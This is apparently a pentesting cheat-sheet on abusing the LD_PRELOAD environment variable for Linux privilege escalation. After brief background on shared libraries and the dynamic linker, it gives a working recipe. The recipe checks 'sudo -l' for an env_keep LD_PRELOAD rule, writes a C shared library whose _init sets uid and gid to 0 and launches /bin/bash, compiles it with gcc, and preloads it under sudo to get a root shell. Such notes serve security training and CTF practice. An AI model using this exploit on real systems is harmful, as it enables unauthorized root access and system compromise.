LD_Preload Abuse
LD_PRELOAD is an environment variable in Linux that allows users to load shared libraries before others when running a program.
It can be exploited to load a custom shared library and override default functions, often used for privilege escalation.
Key Concepts:
- Shared Libraries: Code loaded by programs to avoid repetition. Dynamic libraries (
.so) can be modified or replaced to manipulate program execution. - soname: Special name for shared libraries (e.g.,
libc.so.6). - Dynamic Linker: Loaded via
/lib/ld-linux.so*to find and load shared libraries. - LD_PRELOAD: Environment variable used to load a library before others, overriding default function calls (e.g.,
setuid,setgid,system()).
Exploitation:
-
Check for sudo permissions:
Usesudo -lto identify commands you can run as root.sudo -l -
Look for LD_PRELOAD in sudoers:
Ensure theenv_keep += LD_PRELOADdirective exists.Matching Defaults entries for user:
env_keep+=LD_PRELOAD -
Create Malicious Shared Library:
Write a C program that usessetuid(0),setgid(0), and executes a shell to escalate privileges.#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}- Save as
ldpreload.c.
- Save as
-
Compile the Library:
Use GCC to compile the C program into a shared object (.so).gcc -fPIC -shared -o ldpreload.so ldpreload.c -nostartfiles -
Preload the Malicious Library:
Execute the vulnerable command with theLD_PRELOADvariable pointing to the compiled shared library.sudo LD_PRELOAD=/path/to/ldpreload.so [COMMAND] -
Obtain Root Access:
Example:sudo LD_PRELOAD=/path/to/ldpreload.so find ## it can be anything check 'sudo -l'
# to know which command to useThen confirm with:
id
whoami